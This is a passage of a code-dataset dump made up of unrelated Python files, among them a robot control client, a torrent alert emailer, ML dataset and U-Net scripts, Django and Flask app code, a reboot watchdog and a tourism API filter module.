len(self.current_action) is 1: # size of 1\n potential = key + self.current_action # potential temp variable\n if potential in self.possible_combos: # must be a possible combo\n self.current_action += key # update the current action\n self.server_socket.send(self.current_action) # send the data\n print(\"sending: %s\" % self.current_action) # prompt (NOT needed)\n else:\n return None\n else:\n return None\n elif key in self.speed_accel_data:\n self.server_socket.send(key)\n except AttributeError:\n pass\n\n def _released(self, key):\n \"\"\"\n Listener Function When a 'key' is released.\n :param key: The ket that is released.\n :return: None\n \"\"\"\n try:\n if key in self.current_action:\n if len(self.current_action) is 1: # if there will be no current action\n self.server_socket.send('x') # send data to stop motors\n self.current_action = '' # reset the current action\n else: # combo command\n self.current_action = self.current_action.replace(key, \"\") # replace the command released with ''\n self.server_socket.send(self.current_action) # send update to server\n else:\n pass\n except AttributeError:\n pass\n","sub_path":"Backend/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":5757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"89966252","text":"import sys\nimport os\nimport json\nimport argparse\n\nfrom emailer import Emailer\nfrom messenger import Messenger\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-n', '--name', help=\"The name of the torrent\", default=None)\nargs = parser.parse_args()\n\ntorrent_name=args.name\n\nif len(torrent_name)==0:\n torrent_name = \"Unknown\"\n\nhome_path = os.path.expanduser(\"~\")\ndf_path = home_path + '/.dotfiles/'\n\nf = file(home_path + \"/.alertrc\")\ns = f.read()\nf.close()\n\nd = json.loads(s)\n\nsender=d['email']\npwd = d['pwd']\nrecipient = d['recipient']\nicloud = d['icloud']\n\nmsg = \"The file %s has finished.\"%torrent_name\n\nsubject = \"Transmission Complete (%s)\"%torrent_name\n\nEmailer().send_email(sender,pwd,subject,msg,recipient)\nMessenger().send_msg_to_buddy(msg, icloud)\n","sub_path":"scripts/torrent_alert.py","file_name":"torrent_alert.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"203781730","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision\nfrom torch.utils.data import Dataset, DataLoader,random_split\nimport numpy as np\nimport vtk\nimport math\nimport sys\n\nclass FlowDataset(Dataset):\n def __init__(self,datapath=\"\",transform=None,decodenum=0):\n # Initialize data\n # read with numpy or pandas\n xy = np.loadtxt(datapath, delimiter=' ', dtype=np.float32)\n # here the last three column is the class label, the rest are the features\n self.xy_max = np.max(xy,axis=0)\n self.xy_min = np.min(xy,axis=0)\n self.x_max = self.xy_max[0:6]\n self.x_min = self.xy_min[0:6]\n self.y_max = self.xy_max[6:9]\n self.y_min = self.xy_min[6:9]\n self.y_data = torch.from_numpy(xy[::decodenum, 6:9]) # size [n_samples, n_targets]\n self.n_samples = self.y_data.shape[0]\n x_data = xy[:,0:6]\n x_data = np.array(np.vsplit(x_data,self.n_samples))\n self.x_data = torch.from_numpy(x_data) # size [n_samples, n_features]\n self.transform = transform\n self.data_path = datapath\n # support indexing such that dataset[i] can be used to get i-th sample\n def __getitem__(self, index):\n sample = self.x_data[index],self.y_data[index]\n if self.transform:\n sample = self.transform(sample,self.x_max,self.x_min,self.y_max,self.y_min)\n return sample\n # we can call len(dataset) to return the size\n def __len__(self):\n return self.n_samples\n def getYRange(self):\n return self.y_max,self.y_min\n\nclass Normalize:\n # Convert range to -1~1\n def __call__(self, sample, xmax, xmin, ymax, ymin):\n inputs, targets = sample\n kx = (1-(-1))/(xmax-xmin)\n ky = (1-(-1))/(ymax-ymin)\n with torch.no_grad():\n xmin = np.tile(xmin,(len(inputs),1))\n kx = np.tile(kx,(len(inputs),1))\n inputs = (-1) + np.multiply(inputs - xmin,kx)\n targets = (-1) + np.multiply(targets - ymin,ky)\n return inputs,targets\n\nclass Unnormalize:\n # Convert range to normal\n def call(self,sample,ymax,ymin):\n targets = sample\n ky = (ymax-ymin)/(1-(-1))\n with torch.no_grad():\n targets = np.multiply((targets + 1),ky ) + ymin\n return targets\n","sub_path":"model/FlowDataset.py","file_name":"FlowDataset.py","file_ext":"py","file_size_in_byte":2308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"457982329","text":"\"\"\" Radio analysis of rapidly evolving transients\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib import rc\nrc(\"font\", family=\"serif\")\nrc(\"text\", usetex=True)\nfrom astropy.table import Table\nfrom astropy import units as u\nfrom astropy.coordinates import SkyCoord\nfrom astropy.cosmology import Planck15\nfrom astropy.time import Time\nimport time\n\ndef get_transients():\n \"\"\" Get data on the rapidly evolving transients \"\"\"\n data_dir = \"/Users/annaho/Dropbox/Projects/Research/AT2018cow/data\"\n drout = Table.read(\n \"%s/drout_transients.txt\" %data_dir, \n format=\"ascii.no_header\", delimiter=\"&\")\n des = Table.read(\n \"%s/des_transients.txt\" %data_dir, \n format=\"ascii.no_header\", delimiter=\"&\")\n des_dates_gs = Table.read(\n \"%s/des_transients_dates.txt\" %data_dir, \n format=\"ascii.no_header\", delimiter=\"&\")\n des_dates_b = Table.read(\n \"%s/des_transients_bronze_dates.txt\" %data_dir, \n format=\"ascii.no_header\", delimiter=\" \")\n ksn = np.array([\"13:31:51.64\", \"-10:44:09.48\", 0.090])\n\n ra_raw = np.hstack((drout['col3'], des['col2'], ksn[0]))\n dec_raw = np.hstack((drout['col4'], des['col3'], ksn[1]))\n z_raw = np.hstack((drout['col5'], des['col4'], ksn[2]))\n names_raw = np.hstack((drout['col1'], des['col1'], 'KSN'))\n\n names_mjd = np.hstack((des_dates_gs['col1'], des_dates_b['col1']))\n mjd = np.hstack((des_dates_gs['col2'], des_dates_b['col2']))\n\n dates = []\n for date_raw in drout['col2']:\n split = date_raw.split()\n yyyy = split[0]\n mm = split[1].strip('\\.')\n mm = mm.strip('\\\\')\n # get month as a number\n try:\n t = str(time.strptime(mm, '%B').tm_mon).zfill(2)\n except:\n t = str(time.strptime(mm, '%b').tm_mon).zfill(2)\n dd = split[2]\n date = Time(\"%s-%s-%s\" %(yyyy,t,dd), format='iso')\n dates.append(date.mjd)\n for name in des['col1']:\n ind = np.where(names_mjd==name)[0][0]\n dates.append((Time(mjd[ind], format='mjd')).mjd)\n dates.append((Time(2457232.70, format='jd')).mjd)\n dates = np.array(dates)\n\n ra = np.array([val for val in ra_raw])\n\n # curate the RA and Dec list\n c = SkyCoord(ra_raw, dec_raw, frame='icrs', unit=(u.hourangle, u.deg))\n\n # curate the redshift list\n z = []\n for ii, zval in enumerate(z_raw):\n try:\n z.append(float(zval))\n except:\n z.append(-1)\n z = np.array(z)\n return names_raw, ra_raw, dec_raw, dates, z\n\n\nif __name__==\"__main__\":\n # Retrieve data\n names, ra, dec, dates, z = get_transients()\n\n # initialize plot\n fig,axarr = plt.subplots(2, 1, figsize=(5,6))\n\n # redshift distribution of all of them\n choose = z > 0\n axarr[0].hist(z[choose], histtype='step', color='k')\n ax = axarr[0]\n ax.set_xlabel(\"Redshift\", fontsize=14)\n ax.set_ylabel(\"\\# Transients\", fontsize=14)\n ax.tick_params(axis='both', labelsize=14)\n ax.axvline(x=0.014, c='k', ls='--', lw=2.0)\n\n # distribution of peak flux at 230 GHz\n dist = Planck15.luminosity_distance(z=z[choose]).cgs.value\n ref = Planck15.luminosity_distance(z=0.014).cgs.value\n flux = 50e3 * (ref / dist)**2 \n ax = axarr[1]\n ax.hist(\n flux, histtype='step', color='k', \n bins=np.logspace(np.log10(1.1), np.log10(5000), 10))\n ax.set_xscale('log')\n ax.set_xlabel(\"Peak Flux ($\\\\mu$Jy) at $230\\,$GHz\", fontsize=14)\n ax.set_ylabel(\"\\# Transients\", fontsize=14)\n ax.tick_params(axis='both', labelsize=14)\n ax.axvline(x=50e3, c='k', ls='--', lw=2.0)\n ax.text(\n 0.94, 0.9, \"AT2018cow\", transform=ax.transAxes,\n horizontalalignment='right', fontsize=14)\n ax.text(\n 0.94, 0.8, \"$50\\,$mJy\", transform=ax.transAxes,\n horizontalalignment='right', fontsize=14)\n\n # formatting\n plt.tight_layout()\n plt.show()\n","sub_path":"code/ret_radio.py","file_name":"ret_radio.py","file_ext":"py","file_size_in_byte":3910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"340278548","text":"from selenium import webdriver\n\nbrowser = \"\"\n\n\ndef getBrowser():\n global browser\n if browser == \"\":\n browser = webdriver.Chrome(executable_path=r\"D:/Projects/Python/ChromeWebDriver/chromedriver.exe\")\n return browser\n\n\ndef switchFrame():\n global browser\n browser.implicitly_wait(3)\n frame = getBrowser().find_element_by_xpath(\"/html/body/div[6]/iframe\")\n browser.switch_to_frame(frame)\n\n\ndef exit():\n global browser\n browser.quit()\n browser = \"\"\n","sub_path":"Tools.py","file_name":"Tools.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"139434439","text":"from model import *\nfrom data import *\nfrom PIL import Image\n#os.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\nImage.MAX_IMAGE_PIXELS = 999999999\n\n#data_gen_args = dict(rotation_range=0.2,\n# width_shift_range=0.05,\n# height_shift_range=0.05,\n# shear_range=0.05,\n# zoom_range=0.05,\n# horizontal_flip=True,\n# fill_mode='nearest')\ndata_gen_args = dict()\n\nmyGene = \\\n trainGenerator(2,'data/train','image','label',data_gen_args,save_to_dir\n = None)\n#you will see 60 transformed images and their masks in data/membrane/train/aug\n#num_batch = 3\n#for i,batch in enumerate(myGene):\n# if(i >= num_batch):\nmodel = unet()\nmodel_checkpoint = ModelCheckpoint('unet_membrane.hdf5', monitor='loss',verbose=1, save_best_only=True)\nmodel.fit_generator(myGene,steps_per_epoch=300,epochs=5,callbacks=[model_checkpoint])\n\ntestGene = testGenerator(\"data/he\")\nresults = model.predict_generator(testGene,2000,verbose=1)\nsaveResult(\"data/test/out\",results)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"163277056","text":"import collections\n\nN=int(input())\nli=list(map(int,input().split()))\n\nli_count=collections.Counter(li)\na=0\nb=0\nfor k in li_count.keys():\n if li_count[k]>=4:\n if k>a:\n a=k\n if k>b:\n b=k\n elif li_count[k]>=2 and (k>a or k>b):\n if a>=b:\n b=k\n else:\n a=k\nprint(a*b)\n","sub_path":"ABC/ABC_071/abc071c.py","file_name":"abc071c.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"580540838","text":"from datetime import datetime as dt\n\nfrom django.contrib import admin\nfrom django.core.mail import send_mail, EmailMessage\n\n# Register your models here.\nfrom certification.models import *\nfrom certification.forms import *\n\n# suppress SQL warnings\nfrom bwf.settings import DEBUG\nfrom bwf.settings import DEFAULT_FROM_EMAIL, bwf_certify\nfrom utils import boats_only\n# if DEBUG:\n# from django.db import warnings\n# import MySQLdb\n# from compiler.pycodegen import EXCEPT\n# warnings.filterwarnings('ignore', category=MySQLdb.Warning)\n\n\n\n# customize admin pages for ease of use\n\nclass VolunteerAdmin(admin.ModelAdmin):\n list_display_links = ['user']\n list_display = ['id', 'user', 'full_name']\n \nclass SkillAdmin(admin.ModelAdmin):\n# form = SkillAdminForm\n fieldsets = [(\"Skill\", { \"fields\": [\"skill_name\", \"role\", \"skill_short_name\", \n \"skill_description\", \"date_skill_defined\"]})]\n list_display_links = ['skill_name']\n list_display = ['skill_name', 'role','skill_short_name', 'skill_description']\n list_editable = ['role']\n \nclass SkilltoboatAdmin(admin.ModelAdmin):\n# form = SkilltoboatAdminForm\n fieldsets = [(\"Skills to boat\", { \"fields\": [\"skill\", \"boat\",]})]\n list_display_links = ['skill', ]\n list_display = ['skill', 'boat',]\n list_editable = ['boat']\n\nclass CertificationAdmin(admin.ModelAdmin):\n# form = CertificationAdminForm\n fieldsets = [(\"Skills on boat\", { \"fields\": [\"volunteer\", \"role\", \"boat\", \"date_certified\"]})]\n list_display_links = ['volunteer', 'role', 'boat']\n list_display = ['volunteer', 'role', 'boat']\n \n def save_model(self, request, obj, form, change):\n \"\"\"Ensure that a certifier is provided.\n \"\"\"\n# raise Exception(dir(obj))\n if not obj.certifier_id:\n obj.certifier_id = request.user.id\n fcap = Role.objects.get(role_name=\"First Captain\")\n scap = Role.objects.get(role_name=\"Second Captain\")\n if obj.role == fcap:\n # elevate to Second Captain on other boats\n for boat in boats_only():\n if boat == obj.boat:\n continue\n try:\n second = Certification.objects.get(volunteer=obj.volunteer, role=scap, boat=boat)\n continue\n except ObjectDoesNotExist:\n cert = Certification()\n cert.boat = boat\n cert.role = scap\n cert.volunteer = obj.volunteer\n cert.certifier = Volunteer.objects.get(pk=request.user.id)\n cert.date_certified = dt.now()\n cert.save()\n # until first cap is done in the app, do notification here.\n boat = form.cleaned_data['boat'].boat_name\n subject = \"\"\"%s has just been certified as First Captain on %s\"\"\" % (\n obj.volunteer.full_name, boat)\n msg = \"\"\"%s has just been certified as First Captain on %s by %s on the BWF site.\n \n Please send the appropriate notice\"\"\" % (obj.volunteer.full_name, boat, request.user.volunteer.full_name)\n email = EmailMessage(\n subject,\n msg,\n DEFAULT_FROM_EMAIL,\n bwf_certify,\n )\n email.send(fail_silently=False)\n subject = \"Congratulations on being certified as First Captain\"\n msg = \"\"\"Congratulations on being certified as First Captain on %s for the Blue Water Foundation.\n \n As a First Captain you are automatically certified as a Second Captain on all boats for Blue Water. This means you are authorized to certify Second Captain skills on any Blue Water boat.\n \n Additionally, you are authorized to create, modify or delete any sail. Find the Create button on the Events page. You also have access to the Admin menu which allows you to see any volunteer's profile including contact info, currently scheduled sails, and buttons to their skills for certifications.\n \n Thanks for all you do. We look forward to your continued participation.\n \"\"\" % (form.cleaned_data['boat'].boat_name,)\n email = EmailMessage(\n subject=subject,\n body=msg,\n to=[obj.volunteer.email],\n )\n email.send(fail_silently=False)\n obj.save()\n \n\nclass VolunteerskillboatAdmin(admin.ModelAdmin):\n list_display = ['volunteer', 'boat_skill']\n fieldsets = [('Volunteer boat skills', {'fields': ['volunteer',\n 'volunteer_demonstrated', 'boat_skill']}),\n ('Verification', {'fields': ['verified_by', 'demonstration_verified']})]\n# id = models.AutoField(db_column=\"volunteer_skill_boat_id\", primary_key=True)\n# volunteer = models.ForeignKey(Volunteer)\n# boat_skill= models.ForeignKey(Skilltoboat)\n# volunteer_demonstrated = models.DateTimeField()\n# demonstration_verified = models.DateTimeField()\n# verified_by = models.ForeignKey(Volunteer, related_name=\"verifier\")\n \n \nadmin.site.register(Volunteer, VolunteerAdmin)\nadmin.site.register(Boat)\nadmin.site.register(Skill, SkillAdmin)\nadmin.site.register(Role)\nadmin.site.register(Certification, CertificationAdmin)\nadmin.site.register(Skilltoboat, SkilltoboatAdmin)\nadmin.site.register(Volunteerskillboat, VolunteerskillboatAdmin)\nadmin.site.register(Program)\n","sub_path":"bwf_site/certification/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":5504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"173654595","text":"#Aula 16 de Agosto 2018\n#Exercício 2 (Casa): Faça um programa que calcule o preço do fornecimento elétrico, dado quantidade de kWh consumido e tipo de instalação (Residência, Indústria ou Comércio)\n#Obs.: Tabela de preços dada em sala.\n\ndef main():\n\tkwh = int(input(\"Informe o consumo em Quilowatt-hora (kWh): \"))\n\t\n\tprint (\"Entre com 'r' para Residência, 'i' para Indústria ou 'c' para Comércio\")\n\ttipo = input(\"Informe o Tipo de Instação: \")\n\t\n\tif tipo == \"r\":\n\t\tpreco = calculoResidencia(kwh)\n\telif tipo == \"i\":\n\t\tpreco = calculoIndustria(kwh)\n\telif tipo == \"c\":\n\t\tpreco = calculoComercio(kwh)\n\t\t\n\tImprimir(preco)\n\t\t\ndef calculoResidencia(consumo):\n\tif consumo <= 500:\n\t\treturn consumo*0.4\n\telse:\n\t\treturn consumo*0.65\n\t\t\ndef calculoIndustria(consumo):\n\tif consumo <= 1000:\n\t\treturn consumo*0.55\n\telse:\n\t\treturn consumo*0.6\n\t\t\ndef calculoComercio(consumo):\n\tif consumo <= 5000:\n\t\treturn consumo*0.55\n\telse:\n\t\treturn consumo*0.6\n\ndef Imprimir(v):\n\tprint (\"Preço será de R$\",v)\n\nmain()\n","sub_path":"01 Aulas/Aula 3/casaEx2.py","file_name":"casaEx2.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"294925220","text":"# Reboot the system if the agent goes unresponsive for an hour\nimport os\nimport psutil\nimport subprocess\nimport time\n\ndef uptime():\n return int(time.time() - psutil.boot_time())\n\ndef time_since_agent_alive():\n elapsed = 999999\n try:\n modified = os.path.getmtime('/tmp/wptagent')\n elapsed = time.time() - modified\n except Exception:\n pass\n return int(elapsed)\n\nreboot_attempted = False\nwhile True:\n time_since_boot = uptime()\n if time_since_boot > 3600:\n alive = time_since_agent_alive()\n if alive > 3600:\n print(\"Agent not OK, last reported as alive {} seconds ago. Rebooting\".format(alive))\n if reboot_attempted:\n # Force a reboot, it is not going gracefully\n subprocess.call(['sudo', 'reboot', '-q'])\n else:\n reboot_attempted = True\n subprocess.call(['sudo', 'reboot'])\n else:\n reboot_attempted = False\n print(\"Agent OK, last reported as alive {} seconds ago.\".format(alive))\n else:\n reboot_attempted = False\n print(\"System started less than an hour ago ({} seconds). Waiting...\".format(time_since_boot))\n\n # Check every 10 minutes\n time.sleep(600)","sub_path":"macos/watchdog.py","file_name":"watchdog.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"548971573","text":"from random import randint\nfrom time import sleep\nnumero = randint(0, 5)\npalpite = int(input('Digite o seu palpite entre 0 e 5: '))\nprint('Processando...')\nsleep(2)\nprint('O número escolhido foi {}'.format(numero))\nif (numero == palpite):\n print('Você acertou. PARABÉNS!!!!')\nelse:\n print('Você errou. Mais sorte na próxima.')\n","sub_path":"Exercises/World01/Aula010-IfElse_Conditionals/ex028.py","file_name":"ex028.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"121495548","text":"from flask_app.config.mysqlconnection import connectToMySQL\nfrom flask_app import app\nfrom flask import flash\nimport re\n\nclass Recipe:\n def __init__( self , data ):\n self.id = data['id']\n self.name = data['name']\n self.description = data['description']\n self.minutes = data['minutes']\n self.instructions = data['instructions']\n self.made = data['made_on']\n self.created_on = data['created_on']\n self.updated_at = data['updated_at']\n self.users_id = data['users_id']\n self.user = None\n\n @classmethod\n def create_recipe(cls, data):\n query = \"INSERT INTO recipes ( name , description, minutes, instructions, made_on, users_id, created_on, updated_at ) VALUES ( %(name)s , %(description)s, %(minutes)s, %(instructions)s, %(made_on)s, %(users_id)s, NOW() , NOW() );\"\n\n return connectToMySQL('recipes_schema').query_db( query, data )\n\n @classmethod\n def get_recipes(cls):\n query = \"SELECT * FROM recipes;\"\n \n result = connectToMySQL('recipes_schema').query_db(query)\n \n recipes = []\n\n for item in result:\n recipes.append(cls(item))\n return recipes\n\n @classmethod\n def delete_one(cls, data):\n query = \"DELETE FROM recipes WHERE id = %(id)s;\"\n\n connectToMySQL('recipes_schema').query_db(query, data)\n\n @classmethod\n def get_one(cls, data):\n query = \"SELECT * FROM recipes WHERE id = %(id)s;\"\n\n results = connectToMySQL('recipes_schema').query_db(query, data)\n\n user = Recipe(results[0])\n\n return user\n\n @classmethod\n def edit_one(cls, data):\n query = \"UPDATE recipes SET name=%(name)s, description =%(description)s, instructions =%(instructions)s, minutes =%(minutes)s, made_on =%(made_on)s WHERE id=%(id)s;\"\n\n connectToMySQL('recipes_schema').query_db(query, data)\n\n @staticmethod\n def validate_recipe(recipe):\n is_valid = True\n if len(recipe['name']) < 3:\n flash(\"Name field requires a minimum of three characters.\")\n is_valid = False\n if len(recipe['description']) < 3:\n flash(\"Description field requires a minimum of three characters.\")\n is_valid = False\n if len(recipe['instructions']) < 3:\n flash(\"Instructions field requires a minimum of three characters.\")\n is_valid = False\n if len(recipe['made_on']) != 10:\n flash(\"Date made is a required field.\")\n is_valid = False\n if len(recipe['minutes']) < 2:\n flash(\"Under 30 minutes is a required field.\")\n is_valid = False\n return is_valid","sub_path":"Recipes/flask_app/models/recipes.py","file_name":"recipes.py","file_ext":"py","file_size_in_byte":2680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"98075772","text":"def solve(a, b, c):\n\tglobal dp\n\tif (a, b, c) in dp:\n\t\treturn dp[(a, b, c)]\n\tif c <= 1:\n\t\treturn 3*min(b//2, a)\n\tif b <= 1:\n\t\treturn 3*min(c//2, b)\n\n\tm1 = min(b//2, a)\n\tt1 = solve(a - m1, b-2*m1, c) + 3*m1\n\tm2 = min(b, c//2)\n\tt2 = solve(a, b-m2, c-2*m2) + 3*m2\n\tdp[(a, b, c)] = max(t1, t2)\n\treturn dp[(a, b, c)] \n\nt = int(input())\n\nfor _ in range(t):\n\ta, b, c = map(int, input().split())\n\tdp = {}\n\tans = solve(a, b, c)\n\tprint(ans)\n","sub_path":"topcoder/topcoder_practice.py","file_name":"topcoder_practice.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"38477545","text":"# coding=utf8\n\nimport requests\nimport json\nfrom functools import reduce\nimport time\n\n\nROOT = \"/var/www/HolidayPlanner/\"\n\nAPI_KEY = open(ROOT + \"apikey.txt\", \"r\").read()\n\n#API Headers\nsl_api_header = {\n \"Authorization\": \"APIKEY \" + API_KEY, \n \"Accept\": \"application/x.sl.v1+json\",\n \"Content-Type\": \"application/json\",\n \"Accept-Language\": \"de_DE\"\n}\n\nSL_CLASS = {\n 'accomondations': {\n 'id': 1,\n 'filter': json.load(open(ROOT + \"filter-options/accomondations.json\"))\n },\n 'sights': {\n 'id': 2,\n 'filter': json.load(open(ROOT + \"filter-options/sights.json\"))\n },\n 'stores': {\n 'id': 3,\n 'filter': json.load(open(ROOT + \"filter-options/stores.json\"))\n },\n 'activities': {\n 'id': 4,\n 'filter': json.load(open(ROOT + \"filter-options/activities.json\"))\n },\n 'tours': {\n 'id': 5,\n 'filter': json.load(open(ROOT + \"filter-options/tours.json\"))\n },\n 'events': {\n 'id': 7,\n 'filter': json.load(open(ROOT + \"filter-options/events.json\"))\n },\n 'gastronomy': {\n 'id': 10,\n 'filter': json.load(open(ROOT + \"filter-options/gastronomy.json\"))\n }\n}\n\nREQUEST_SIZE = \"200\"\n\n# SL FILTER REQUESTS\ndef filterRequest(_class, request_filter):\n # QUERY BUILDER\n filter_query = \"\"\n for key in request_filter:\n value = request_filter[key]\n if isinstance(value, str) and value != \"\":\n filter_query += key + \"=\" + value + \"&\"\n elif isinstance(value, list) and len(value) > 0:\n for i in range(len(value)):\n filter_query += key + \"[]=\" + str(value[i]) + \"&\"\n filter_query = filter_query[:-1] # DELETE LAST &\n _class = str(_class)\n bench = time.time()\n # REQUEST TO SL API\n response = False\n try:\n response = requests.get(str(\"https://api.suedtirol.live/public/search?class=\"+_class+\"&size=\"+REQUEST_SIZE), params=filter_query, headers = sl_api_header, timeout=10)\n except:\n print(\"Request timeout for for class: \" + _class)\n return False\n print(response.url)\n print(time.time()-bench)\n # CHECK IF RESPONSE IS CORRECT\n if response.status_code == 200:\n r_data = response.json()['data']\n response_data = []\n # EXCEPTIONS FOR SL API\n for entity in r_data:\n picture = \"\"\n if entity['picture']['data'] is not None: # IF PICTURES ARE NOT SET\n picture = entity['picture']['data']['url']\n\n price = \"\"\n if _class not in ['3', '5']: # PRICE EXCEPTIONS FOR STORES AND TOURS\n price = entity['price']\n\n description = \"\"\n if 'teaser' in entity: # IF TEASER IS NOT SET\n description = entity['teaser']\n\n name = \"\"\n if _class in ['4', '5', '7']: # EXCEPTIONS FOR ACTIVITIES, TOURS AND EVENTS: TITLE ISTEAD OF NAME\n name = entity['title']\n else:\n name = entity['name']\n\n response_data.append({\n \"id\": entity['id'],\n \"name\": name,\n 'class': _class,\n \"description\": description,\n \"rating\": entity['rating'],\n \"rating_count\": entity['rating_count'],\n \"price\": price,\n \"picture\": picture\n })\n return response_data\n else:\n return False\n\n# Unterkunft\ndef filterAccomendations(filter):\n if type(filter) is not dict:\n print(\"Error: First parameter for filterAccomendations is not type of 'dict'\")\n return []\n # LOAD POSSIBLE FILTER IDS\n filter_options = SL_CLASS['accomondations']['filter']\n request_filter = {\n 'filter[datefrom]': str(filter[\"datefrom\"]),\n 'filter[dateto]': str(filter[\"dateto\"]),\n 'filter[priceclass]': str(filter['priceclass'])\n }\n request_filter['filter[accommodationtype]'] = []\n request_filter['filter[themes]'] = []\n request_filter['filter[services]'] = []\n \n if False: # \"hike\" in filter and filter['hike'] == True:\n request_filter['filter[accommodationtype]'] += filter_options['type']['hike']\n else:\n request_filter['filter[accommodationtype]'] += filter_options['type']['all']\n if 'wellness' in filter and filter['wellness'] == True:\n request_filter['filter[themes]'] += filter_options['thema']['wellness']\n if 'wellnesss' in filter:\n if filter['wellnesss'][0] == True:\n request_filter['filter[services]'] += filter_options['service']['sauna']\n #if filter['wellnesss'][2] == True:\n # request_filter['filter[services]'] += filter_options['service']['sunbath']\n if \"pet\" in filter and filter['pet'] == True:\n request_filter['filter[services]'] += filter_options['service']['pet']\n response = filterRequest(SL_CLASS['accomondations']['id'], request_filter)\n if response != False:\n return response\n else:\n return []\n\n# Sehenswürdigkeiten\ndef filterSights(filter):\n if type(filter) is not dict:\n print(\"Error: First parameter for filterSights is not type of 'dict'\")\n return []\n request_filter = SL_CLASS['sights']['filter']\n response = filterRequest(SL_CLASS['sights']['id'], request_filter)\n if response != False:\n return response\n else:\n return [] \n\n# Events\ndef filterEvents(filter):\n if type(filter) is not dict:\n print(\"Error: First parameter for filterEvents is not type of 'dict'\")\n return []\n filter_options = SL_CLASS['events']['filter']\n request_filter = {}\n if 'visit_event' in filter and filter['visit_event'] == True:\n request_filter = {\n 'filter[eventtype]': filter_options['category']['other'],\n 'filter[targetgroup]': filter_options['targetgroup']['all']\n }\n if 'events' in filter:\n if filter['events'][0] == True:\n request_filter['filter[eventtype]'] += filter_options['category']['concerts']\n if filter['events'][1] == True:\n request_filter['filter[eventtype]'] += filter_options['category']['theater']\n if filter['events'][2] == True:\n request_filter['filter[eventtype]'] += filter_options['category']['nightlife']\n response = filterRequest(SL_CLASS['events']['id'], request_filter)\n if response != False:\n return response\n else:\n return [] \n\n# Activities\ndef filterActivities(filter):\n if type(filter) is not dict:\n print(\"Error: First parameter for filterActivities is not type of 'dict'\")\n return []\n filter_options = SL_CLASS['activities']['filter']\n request_filter = filter_options\n response = filterRequest(SL_CLASS['activities']['id'], request_filter)\n if response != False:\n return response\n else:\n return []\n\n# Tours\ndef filterTours(filter):\n if type(filter) is not dict:\n print(\"Error: First parameter for filterTours is not type of 'dict'\")\n return []\n if filter['hike'] == False:\n return []\n filter_options = SL_CLASS['tours']['filter']\n request_filter = {\n 'filter[category]': filter_options['category']['all']\n }\n request_filter['filter[difficulty]'] = filter['hike_type'][0]\n # MONTHS WILL COME\n response = filterRequest(SL_CLASS['tours']['id'], request_filter)\n if response != False:\n return response\n else:\n return []\n\n# Geschäfte\ndef filterStores(filter):\n if type(filter) is not dict:\n print(\"Error: First parameter for filterStores is not type of 'dict'\")\n return []\n filter_options = SL_CLASS['stores']['filter']\n request_filter = {\n 'filter[sectortype]': filter_options['sectortype']\n }\n response = filterRequest(SL_CLASS['stores']['id'], request_filter)\n if response != False:\n return response\n else:\n return [] \n\n# Gastro\ndef filterGastronomy(filter):\n if type(filter) is not dict:\n print(\"Error: First parameter for filterGastronomy is not type of 'dict'\")\n return []\n filter_options = SL_CLASS['gastronomy']['filter']\n priceclass = [\"1\", \"2\", \"3\", \"4\"]\n if 'priceclass' in filter:\n priceclass = str(filter['priceclass'])\n request_filter = {\n 'filter[priceclass]': priceclass\n }\n request_filter[\"filter[gastronomytype]\"] = []\n if 'national_cousine' in filter and filter[\"national_cousine\"] == True:\n request_filter[\"filter[gastronomytype]\"] += filter_options[\"national\"]\n if 'int_cousine' in filter:\n if filter['int_cousine'][0] == True:\n request_filter[\"filter[gastronomytype]\"] += filter_options[\"international\"][\"oriental\"]\n if filter['int_cousine'][1] == True:\n request_filter[\"filter[gastronomytype]\"] += filter_options[\"international\"][\"asian\"]\n \"\"\"\n if filter and filter['int_cousine'][2] == True:\n request_filter[\"filter[gastronomytype]\"] += filter_options[\"international\"][\"german\"]\n \"\"\"\n if filter['int_cousine'][3] == True:\n request_filter[\"filter[gastronomytype]\"] += filter_options[\"international\"][\"other\"]\n response = filterRequest(SL_CLASS['gastronomy']['id'], request_filter)\n if response != False:\n return response\n else:\n return []\n\ndef getAll(filter):\n return {\n 'accomondations': filterAccomendations(filter),\n 'sights': filterSights(filter),\n 'stores': filterStores(filter),\n 'activities': filterActivities(filter),\n 'tours': filterTours(filter),\n 'events': filterEvents(filter),\n 'gastronomy': filterGastronomy(filter)\n }\n\ndef getByClass(filter, _class):\n return {\n 1: filterAccomendations,\n 2: filterSights,\n 3: filterStores,\n 4: filterActivities,\n 5: filterTours,\n 7: filterEvents,\n 10: filterGastronomy\n 